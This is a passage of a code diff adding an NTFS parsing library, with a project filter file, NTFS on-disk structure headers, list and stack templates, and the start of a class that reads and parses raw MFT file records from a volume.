<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="NTFSParserDLL.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="dllmain.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,317 @@
/*
* NTFS Class common definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_COMMON_H_CYB70289
#define __NTFS_COMMON_H_CYB70289
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#include <crtdbg.h>
#include "NTFS_DataType.h"
#define ATTR_NUMS 16 // Attribute Types count
#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2
#define ATTR_MASK(at) (((DWORD)1)<<ATTR_INDEX(at)) // Attribute Bit Mask
// Bit masks of Attributes
#define MASK_STANDARD_INFORMATION ATTR_MASK(ATTR_TYPE_STANDARD_INFORMATION)
#define MASK_ATTRIBUTE_LIST ATTR_MASK(ATTR_TYPE_ATTRIBUTE_LIST)
#define MASK_FILE_NAME ATTR_MASK(ATTR_TYPE_FILE_NAME)
#define MASK_OBJECT_ID ATTR_MASK(ATTR_TYPE_OBJECT_ID)
#define MASK_SECURITY_DESCRIPTOR ATTR_MASK(ATTR_TYPE_SECURITY_DESCRIPTOR)
#define MASK_VOLUME_NAME ATTR_MASK(ATTR_TYPE_VOLUME_NAME)
#define MASK_VOLUME_INFORMATION ATTR_MASK(ATTR_TYPE_VOLUME_INFORMATION)
#define MASK_DATA ATTR_MASK(ATTR_TYPE_DATA)
#define MASK_INDEX_ROOT ATTR_MASK(ATTR_TYPE_INDEX_ROOT)
#define MASK_INDEX_ALLOCATION ATTR_MASK(ATTR_TYPE_INDEX_ALLOCATION)
#define MASK_BITMAP ATTR_MASK(ATTR_TYPE_BITMAP)
#define MASK_REPARSE_POINT ATTR_MASK(ATTR_TYPE_REPARSE_POINT)
#define MASK_EA_INFORMATION ATTR_MASK(ATTR_TYPE_EA_INFORMATION)
#define MASK_EA ATTR_MASK(ATTR_TYPE_EA)
#define MASK_LOGGED_UTILITY_STREAM ATTR_MASK(ATTR_TYPE_LOGGED_UTILITY_STREAM)
#define MASK_ALL ((DWORD)-1)
#define NTFS_TRACE(t1) _RPT0(_CRT_WARN, t1)
#define NTFS_TRACE1(t1, t2) _RPT1(_CRT_WARN, t1, t2)
#define NTFS_TRACE2(t1, t2, t3) _RPT2(_CRT_WARN, t1, t2, t3)
#define NTFS_TRACE3(t1, t2, t3, t4) _RPT3(_CRT_WARN, t1, t2, t3, t4)
#define NTFS_TRACE4(t1, t2, t3, t4, t5) _RPT4(_CRT_WARN, t1, t2, t3, t4, t5)
// User defined Callback routines to process raw attribute data
// Set bDiscard to TRUE if this Attribute is to be discarded
// Set bDiscard to FALSE to let CFileRecord process it
typedef void (*ATTR_RAW_CALLBACK)(const ATTR_HEADER_COMMON *attrHead, BOOL *bDiscard);
// User defined Callback routine to handle CFileRecord parsed attributes
// Will be called by CFileRecord::TraverseAttrs() for each attribute
// attrClass is the according attribute's wrapping class, CAttr_xxx
// Set bStop to TRUE if don't want to continue
// Set bStop to FALSE to continue processing
class CAttrBase;
typedef void (*ATTRS_CALLBACK)(const CAttrBase *attr, void *context, BOOL *bStop);
// User defined Callback routine to handle Directory traversing
// Will be called by CFileRecord::TraverseSubEntries for each sub entry
class CIndexEntry;
typedef void (*SUBENTRY_CALLBACK)(const CIndexEntry *ie);
// List Entry
template <class ENTRY_TYPE>
struct NTSLIST_ENTRY
{
NTSLIST_ENTRY *Next;
ENTRY_TYPE *Entry;
};
// List Entry Smart Pointer
template <class ENTRY_TYPE>
class CEntrySmartPtr
{
public:
CEntrySmartPtr(ENTRY_TYPE *ptr = NULL)
{
EntryPtr = ptr;
}
virtual ~CEntrySmartPtr()
{
if (EntryPtr)
delete EntryPtr;
}
private:
const ENTRY_TYPE *EntryPtr;
public:
__inline CEntrySmartPtr<ENTRY_TYPE> operator = (const ENTRY_TYPE* ptr)
{
// Delete previous pointer if allocated
if (EntryPtr)
delete EntryPtr;
EntryPtr = ptr;
return *this;
}
__inline const ENTRY_TYPE* operator->() const
{
_ASSERT(EntryPtr);
return EntryPtr;
}
__inline BOOL IsValid() const
{
return EntryPtr != NULL;
}
};
//////////////////////////////////////
// Single list implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CSList
{
public:
CSList()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
virtual ~CSList()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
NTSLIST_ENTRY<ENTRY_TYPE> *ListCurrent;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to tail
BOOL InsertEntry(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = NULL;
if (ListTail == NULL)
ListHead = le; // Empty list
else
ListTail->Next = le;
ListTail = le;
EntryCount++;
return TRUE;
}
// Remove all entries
void RemoveAll()
{
while (ListHead)
{
ListCurrent = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = ListCurrent;
}
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
// Find first entry
__inline ENTRY_TYPE *FindFirstEntry() const
{
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListHead;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Find next entry
__inline ENTRY_TYPE *FindNextEntry() const
{
if (ListCurrent)
((CSList<ENTRY_TYPE>*)this)->ListCurrent = ListCurrent->Next;
if (ListCurrent)
return ListCurrent->Entry;
else
return NULL;
}
// Throw all entries
// Caution! All entries are just thrown without free
__inline void ThrowAll()
{
ListHead = ListTail = NULL;
ListCurrent = NULL;
EntryCount = 0;
}
}; //CSList
//////////////////////////////////////
// Stack implementation
//////////////////////////////////////
template <class ENTRY_TYPE>
class CStack
{
public:
CStack()
{
ListHead = ListTail = NULL;
EntryCount = 0;
}
virtual ~CStack()
{
RemoveAll();
}
private:
int EntryCount;
NTSLIST_ENTRY<ENTRY_TYPE> *ListHead;
NTSLIST_ENTRY<ENTRY_TYPE> *ListTail;
public:
// Get entry count
__inline int GetCount() const
{
return EntryCount;
}
// Insert to head
BOOL Push(ENTRY_TYPE *entry)
{
NTSLIST_ENTRY<ENTRY_TYPE> *le = new NTSLIST_ENTRY<ENTRY_TYPE>;
if (!le)
return FALSE;
le->Entry = entry;
le->Next = ListHead;
ListHead = le;
if (ListTail == NULL)
ListTail = le; // Empty list
EntryCount ++;
return TRUE;
}
// Remove from head
ENTRY_TYPE* Pop()
{
if (ListHead == NULL)
return NULL;
NTSLIST_ENTRY<ENTRY_TYPE> *le = ListHead;
ENTRY_TYPE *e = le->Entry;
if (ListTail == ListHead)
ListTail = ListHead->Next;
ListHead = ListHead->Next;
delete le;
EntryCount --;
return e;
}
// Remove all entries
void RemoveAll()
{
NTSLIST_ENTRY<ENTRY_TYPE> *le;
while (ListHead)
{
le = ListHead->Next;
delete ListHead->Entry;
delete ListHead;
ListHead = le;
}
ListHead = ListTail = NULL;
EntryCount = 0;
}
}; //CStack
#endif
@@ -0,0 +1,380 @@
/*
* NTFS data structures and definitions
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_DATATYPE_H_CYB70289
#define __NTFS_DATATYPE_H_CYB70289
// NTFS Boot Sector BPB
#define NTFS_SIGNATURE "NTFS "
#pragma pack(1)
typedef struct tagNTFS_BPB
{
// jump instruction
BYTE Jmp[3];
// signature
BYTE Signature[8];
// BPB and extended BPB
WORD BytesPerSector;
BYTE SectorsPerCluster;
WORD ReservedSectors;
BYTE Zeros1[3];
WORD NotUsed1;
BYTE MediaDescriptor;
WORD Zeros2;
WORD SectorsPerTrack;
WORD NumberOfHeads;
DWORD HiddenSectors;
DWORD NotUsed2;
DWORD NotUsed3;
ULONGLONG TotalSectors;
ULONGLONG LCN_MFT;
ULONGLONG LCN_MFTMirr;
DWORD ClustersPerFileRecord;
DWORD ClustersPerIndexBlock;
BYTE VolumeSN[8];
// boot code
BYTE Code[430];
//0xAA55
BYTE _AA;
BYTE _55;
} NTFS_BPB;
#pragma pack()
// MFT Indexes
#define MFT_IDX_MFT 0
#define MFT_IDX_MFT_MIRR 1
#define MFT_IDX_LOG_FILE 2
#define MFT_IDX_VOLUME 3
#define MFT_IDX_ATTR_DEF 4
#define MFT_IDX_ROOT 5
#define MFT_IDX_BITMAP 6
#define MFT_IDX_BOOT 7
#define MFT_IDX_BAD_CLUSTER 8
#define MFT_IDX_SECURE 9
#define MFT_IDX_UPCASE 10
#define MFT_IDX_EXTEND 11
#define MFT_IDX_RESERVED12 12
#define MFT_IDX_RESERVED13 13
#define MFT_IDX_RESERVED14 14
#define MFT_IDX_RESERVED15 15
#define MFT_IDX_USER 16
/******************************
File Record
---------------------
| File Record Header|
---------------------
| Attribute 1 |
---------------------
| Attribute 2 |
---------------------
| ...... |
---------------------
| 0xFFFFFFFF |
---------------------
*******************************/
// File Record Header
#define FILE_RECORD_MAGIC 'ELIF'
#define FILE_RECORD_FLAG_INUSE 0x01 // File record is in use
#define FILE_RECORD_FLAG_DIR 0x02 // File record is a directory
typedef struct tagFILE_RECORD_HEADER
{
DWORD Magic; // "FILE"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
WORD SeqNo; // Sequence number
WORD Hardlinks; // Hard link count
WORD OffsetOfAttr; // Offset of the first Attribute
WORD Flags; // Flags
DWORD RealSize; // Real size of the FILE record
DWORD AllocSize; // Allocated size of the FILE record
ULONGLONG RefToBase; // File reference to the base FILE record
WORD NextAttrId; // Next Attribute Id
WORD Align; // Align to 4 byte boundary
DWORD RecordNo; // Number of this MFT Record
} FILE_RECORD_HEADER;
/******************************
Attribute
--------------------
| Attribute Header |
--------------------
| Attribute Data |
--------------------
*******************************/
// Attribute Header
#define ATTR_TYPE_STANDARD_INFORMATION 0x10
#define ATTR_TYPE_ATTRIBUTE_LIST 0x20
#define ATTR_TYPE_FILE_NAME 0x30
#define ATTR_TYPE_OBJECT_ID 0x40
#define ATTR_TYPE_SECURITY_DESCRIPTOR 0x50
#define ATTR_TYPE_VOLUME_NAME 0x60
#define ATTR_TYPE_VOLUME_INFORMATION 0x70
#define ATTR_TYPE_DATA 0x80
#define ATTR_TYPE_INDEX_ROOT 0x90
#define ATTR_TYPE_INDEX_ALLOCATION 0xA0
#define ATTR_TYPE_BITMAP 0xB0
#define ATTR_TYPE_REPARSE_POINT 0xC0
#define ATTR_TYPE_EA_INFORMATION 0xD0
#define ATTR_TYPE_EA 0xE0
#define ATTR_TYPE_LOGGED_UTILITY_STREAM 0x100
#define ATTR_FLAG_COMPRESSED 0x0001
#define ATTR_FLAG_ENCRYPTED 0x4000
#define ATTR_FLAG_SPARSE 0x8000
typedef struct tagATTR_HEADER_COMMON
{
DWORD Type; // Attribute Type
DWORD TotalSize; // Length (including this header)
BYTE NonResident; // 0 - resident, 1 - non resident
BYTE NameLength; // name length in words
WORD NameOffset; // offset to the name
WORD Flags; // Flags
WORD Id; // Attribute Id
} ATTR_HEADER_COMMON;
typedef struct tagATTR_HEADER_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
DWORD AttrSize; // Length of the attribute body
WORD AttrOffset; // Offset to the Attribute
BYTE IndexedFlag; // Indexed flag
BYTE Padding; // Padding
} ATTR_HEADER_RESIDENT;
typedef struct tagATTR_HEADER_NON_RESIDENT
{
ATTR_HEADER_COMMON Header; // Common data structure
ULONGLONG StartVCN; // Starting VCN
ULONGLONG LastVCN; // Last VCN
WORD DataRunOffset; // Offset to the Data Runs
WORD CompUnitSize; // Compression unit size
DWORD Padding; // Padding
ULONGLONG AllocSize; // Allocated size of the attribute
ULONGLONG RealSize; // Real size of the attribute
ULONGLONG IniSize; // Initialized data size of the stream
} ATTR_HEADER_NON_RESIDENT;
// Attribute: STANDARD_INFORMATION
#define ATTR_STDINFO_PERMISSION_READONLY 0x00000001
#define ATTR_STDINFO_PERMISSION_HIDDEN 0x00000002
#define ATTR_STDINFO_PERMISSION_SYSTEM 0x00000004
#define ATTR_STDINFO_PERMISSION_ARCHIVE 0x00000020
#define ATTR_STDINFO_PERMISSION_DEVICE 0x00000040
#define ATTR_STDINFO_PERMISSION_NORMAL 0x00000080
#define ATTR_STDINFO_PERMISSION_TEMP 0x00000100
#define ATTR_STDINFO_PERMISSION_SPARSE 0x00000200
#define ATTR_STDINFO_PERMISSION_REPARSE 0x00000400
#define ATTR_STDINFO_PERMISSION_COMPRESSED 0x00000800
#define ATTR_STDINFO_PERMISSION_OFFLINE 0x00001000
#define ATTR_STDINFO_PERMISSION_NCI 0x00002000
#define ATTR_STDINFO_PERMISSION_ENCRYPTED 0x00004000
typedef struct tagATTR_STANDARD_INFORMATION
{
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
DWORD Permission; // Dos file permission
DWORD MaxVersionNo; // Maxim number of file versions
DWORD VersionNo; // File version number
DWORD ClassId; // Class Id
DWORD OwnerId; // Owner Id
DWORD SecurityId; // Security Id
ULONGLONG QuotaCharged; // Quota charged
ULONGLONG USN; // USN Journel
} ATTR_STANDARD_INFORMATION;
// Attribute: ATTRIBUTE_LIST
typedef struct tagATTR_ATTRIBUTE_LIST
{
DWORD AttrType; // Attribute type
WORD RecordSize; // Record length
BYTE NameLength; // Name length in characters
BYTE NameOffset; // Name offset
ULONGLONG StartVCN; // Start VCN
ULONGLONG BaseRef; // Base file reference to the attribute
WORD AttrId; // Attribute Id
} ATTR_ATTRIBUTE_LIST;
// Attribute: FILE_NAME
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
#define ATTR_FILENAME_FLAG_NCI 0x00002000
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
typedef struct tagATTR_FILE_NAME
{
ULONGLONG ParentRef; // File reference to the parent directory
ULONGLONG CreateTime; // File creation time
ULONGLONG AlterTime; // File altered time
ULONGLONG MFTTime; // MFT changed time
ULONGLONG ReadTime; // File read time
ULONGLONG AllocSize; // Allocated size of the file
ULONGLONG RealSize; // Real size of the file
DWORD Flags; // Flags
DWORD ER; // Used by EAs and Reparse
BYTE NameLength; // Filename length in characters
BYTE NameSpace; // Filename space
WORD Name[1]; // Filename
} ATTR_FILE_NAME;
// Attribute: VOLUME_INFORMATION
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
typedef struct tagATTR_VOLUME_INFORMATION
{
BYTE Reserved1[8]; // Always 0 ?
BYTE MajorVersion; // Major version
BYTE MinorVersion; // Minor version
WORD Flags; // Flags
BYTE Reserved2[4]; // Always 0 ?
} ATTR_VOLUME_INFORMATION;
// Attribute: INDEX_ROOT
/******************************
INDEX_ROOT
---------------------
| Index Root Header |
---------------------
| Index Header |
---------------------
| Index Entry |
---------------------
| Index Entry |
---------------------
| ...... |
---------------------
*******************************/
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
typedef struct tagATTR_INDEX_ROOT
{
// Index Root Header
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
DWORD CollRule; // Collation rule
DWORD IBSize; // Size of index block
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
BYTE Padding1[3]; // Padding
// Index Header
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of the index entries
BYTE Flags; // Flags
BYTE Padding2[3]; // Padding
} ATTR_INDEX_ROOT;
// INDEX ENTRY
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
typedef struct tagINDEX_ENTRY
{
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
WORD Size; // Length of the index entry
WORD StreamSize; // Length of the stream
BYTE Flags; // Flags
BYTE Padding[3]; // Padding
BYTE Stream[1]; // Stream
// VCN of the sub node in Index Allocation, Offset = Size - 8
} INDEX_ENTRY;
// INDEX BLOCK
/******************************
INDEX_BLOCK
-----------------------
| Index Block Header |
-----------------------
| Index Header |
-----------------------
| Index Entry |
-----------------------
| Index Entry |
-----------------------
| ...... |
-----------------------
*******************************/
#define INDEX_BLOCK_MAGIC 'XDNI'
typedef struct tagINDEX_BLOCK
{
// Index Block Header
DWORD Magic; // "INDX"
WORD OffsetOfUS; // Offset of Update Sequence
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
ULONGLONG LSN; // $LogFile Sequence Number
ULONGLONG VCN; // VCN of this index block in the index allocation
// Index Header
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
DWORD TotalEntrySize; // Total size of the index entries
DWORD AllocEntrySize; // Allocated size of index entries
BYTE NotLeaf; // 1 if not leaf node (has children)
BYTE Padding[3]; // Padding
} INDEX_BLOCK;
#endif
@@ -0,0 +1,989 @@
/*
* NTFS Volume and File Record Class
*
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
*
* This program/include file is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as published
* by the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program/include file is distributed in the hope that it will be
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
#ifndef __NTFS_FILERECORD_H_CYB70289
#define __NTFS_FILERECORD_H_CYB70289
///////////////////////////////////////
// NTFS Volume forward declaration
///////////////////////////////////////
class CNTFSVolume
{
public:
CNTFSVolume(_TCHAR volume);
virtual ~CNTFSVolume();
friend class CFileRecord;
friend class CAttrBase;
private:
WORD SectorSize;
DWORD ClusterSize;
DWORD FileRecordSize;
DWORD IndexBlockSize;
ULONGLONG MFTAddr;
HANDLE hVolume;
BOOL VolumeOK;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
WORD Version;
// MFT file records ($MFT file itself) may be fragmented
// Get $MFT Data attribute to translate FileRecord to correct disk offset
CFileRecord *MFTRecord; // $MFT File Record
const CAttrBase *MFTData; // $MFT Data Attribute
BOOL OpenVolume(_TCHAR volume);
public:
__inline BOOL IsVolumeOK() const;
__inline WORD GetVersion() const;
__inline ULONGLONG GetRecordsCount() const;
__inline DWORD GetSectorSize() const;
__inline DWORD GetClusterSize() const;
__inline DWORD GetFileRecordSize() const;
__inline DWORD GetIndexBlockSize() const;
__inline ULONGLONG GetMFTAddr() const;
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
}; // CNTFSVolume
////////////////////////////////////////////
// List to hold Attributes of the same type
////////////////////////////////////////////
typedef class CSList<CAttrBase> CAttrList;
// It seems VC6.0 doesn't support template class friends
#if _MSC_VER <= 1200
class CAttrResident;
class CAttrNonResident;
template <class TYPE_RESIDENT> class CAttr_AttrList;
#endif
////////////////////////////////
// Process a single File Record
////////////////////////////////
class CFileRecord
{
public:
CFileRecord(const CNTFSVolume *volume);
virtual ~CFileRecord();
friend class CAttrBase;
#if _MSC_VER <= 1200
// Walk around VC6.0 compiler defect
friend class CAttr_AttrList<CAttrResident>;
friend class CAttr_AttrList<CAttrNonResident>;
#else
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
#endif
private:
const CNTFSVolume *Volume;
FILE_RECORD_HEADER *FileRecord;
ULONGLONG FileReference;
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
DWORD AttrMask;
CAttrList AttrList[ATTR_NUMS]; // Attributes
void ClearAttrs();
BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
public:
BOOL ParseFileRecord(ULONGLONG fileRef);
BOOL ParseAttrs();
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
__inline void ClearAttrRawCB();
__inline void SetAttrMask(DWORD mask);
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
const CAttrBase* FindNextAttr(DWORD attrType) const;
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
__inline ULONGLONG GetFileSize() const;
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
const CAttrBase* FindStream(_TCHAR *name = NULL);
__inline BOOL IsDeleted() const;
__inline BOOL IsDirectory() const;
__inline BOOL IsReadOnly() const;
__inline BOOL IsHidden() const;
__inline BOOL IsSystem() const;
__inline BOOL IsCompressed() const;
__inline BOOL IsEncrypted() const;
__inline BOOL IsSparse() const;
}; // CFileRecord
#include "NTFS_Attribute.h"
CFileRecord::CFileRecord(const CNTFSVolume *volume)
{
_ASSERT(volume);
Volume = volume;
FileRecord = NULL;
FileReference = (ULONGLONG)-1;
ClearAttrRawCB();
// Default to parse all attributes
AttrMask = MASK_ALL;
}
CFileRecord::~CFileRecord()
{
ClearAttrs();
if (FileRecord)
delete FileRecord;
}
// Free all CAttr_xxx
void CFileRecord::ClearAttrs()
{
for (int i=0; i<ATTR_NUMS; i++)
{
AttrList[i].RemoveAll();
}
}
// Verify US and update sectors
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
{
int i;
for (i=0; i<sectors; i++)
{
sector += ((Volume->SectorSize>>1) - 1);
if (*sector != usn)
return FALSE; // USN error
*sector = usarray[i]; // Write back correct data
sector++;
}
return TRUE;
}
// Call user defined Callback routines for an attribute
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
{
*bDiscard = FALSE;
if (AttrRawCallBack[attType])
AttrRawCallBack[attType](ahc, bDiscard);
else if (Volume->AttrRawCallBack[attType])
Volume->AttrRawCallBack[attType](ahc, bDiscard);
}
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
{
switch (ahc->Type)
{
case ATTR_TYPE_STANDARD_INFORMATION:
return new CAttr_StdInfo(ahc, this);
case ATTR_TYPE_ATTRIBUTE_LIST:
if (ahc->NonResident)
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
else
return new CAttr_AttrList<CAttrResident>(ahc, this);
case ATTR_TYPE_FILE_NAME:
return new CAttr_FileName(ahc, this);
case ATTR_TYPE_VOLUME_NAME:
return new CAttr_VolName(ahc, this);
case ATTR_TYPE_VOLUME_INFORMATION:
return new CAttr_VolInfo(ahc, this);
case ATTR_TYPE_DATA:
if (ahc->NonResident)
return new CAttr_Data<CAttrNonResident>(ahc, this);
else
return new CAttr_Data<CAttrResident>(ahc, this);
case ATTR_TYPE_INDEX_ROOT:
return new CAttr_IndexRoot(ahc, this);
case ATTR_TYPE_INDEX_ALLOCATION:
return new CAttr_IndexAlloc(ahc, this);
case ATTR_TYPE_BITMAP:
if (ahc->NonResident)
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
else
// Resident Bitmap may exist in a directory's FileRecord
// or in $MFT for a very small volume in theory
return new CAttr_Bitmap<CAttrResident>(ahc, this);
// Unhandled Attributes
default:
*bUnhandled = TRUE;
if (ahc->NonResident)
return new CAttrNonResident(ahc, this);
else
return new CAttrResident(ahc, this);
}
}
// Parse a single Attribute
// Return False on error
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
{
DWORD attrIndex = ATTR_INDEX(ahc->Type);
if (attrIndex < ATTR_NUMS)
{
BOOL bDiscard = FALSE;
UserCallBack(attrIndex, ahc, &bDiscard);
if (!bDiscard)
{
BOOL bUnhandled = FALSE;
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
if (attr)
{
if (bUnhandled)
{
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
}
AttrList[attrIndex].InsertEntry(attr);
return TRUE;
}
else
{
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
return FALSE;
}
}
else
{
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
return TRUE;
}
}
else
{
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
return FALSE;
}
}
// Read File Record
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
{
FILE_RECORD_HEADER *fr = NULL;
DWORD len;
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
{
// Take as continuous disk allocation
LARGE_INTEGER frAddr;
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
return FALSE;
else
{
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
&& len==Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
else
{
// May be fragmented $MFT
ULONGLONG frAddr;
frAddr = (Volume->FileRecordSize) * fileRef;
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
&& len == Volume->FileRecordSize)
return fr;
else
{
delete fr;
return NULL;
}
}
}
// Read File Record, verify and patch the US (update sequence)
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
{
// Clear previous data
ClearAttrs();
if (FileRecord)
{
delete FileRecord;
FileRecord = NULL;
}
